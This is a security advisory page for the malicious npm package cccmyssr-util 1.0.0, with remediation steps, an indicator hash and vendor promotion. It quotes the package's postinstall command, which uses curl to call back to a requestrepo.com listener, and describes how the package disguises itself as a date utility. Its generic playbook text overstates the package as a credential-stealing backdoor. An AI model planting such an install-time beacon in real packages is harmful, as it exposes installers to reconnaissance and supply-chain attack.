Which versions of cccmyssr-util are malicious?

The following npm versions of cccmyssr-util are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate cccmyssr-util if I installed it?

cccmyssr-util establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed cccmyssr-util — how do I know if it already compromised me?

If cccmyssr-util was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is cccmyssr-util part of a known attack campaign?

Yes — cccmyssr-util is associated with the IN-MAL-2026-007439 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find cccmyssr-util across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cccmyssr-util (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cccmyssr-util across your stack and pipelines.

Malicious package

cccmyssr-utilnpm

Malicious code in cccmyssr-util (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6390

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall cccmyssr-util

What this malware does

On npm install, the package's postinstall.js unconditionally executes exec('curl http://qvmjcw4s.requestrepo.com'), sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (index.js exports a one-line formatDate), with empty author metadata and a generic A harmless utility package description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cccmyssr-util (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cccmyssr-util across your stack and pipelines.
If you installed it — respond
cccmyssr-util establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If cccmyssr-util was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cccmyssr-util before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. cccmyssr-util on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007439

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks cccmyssr-util-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring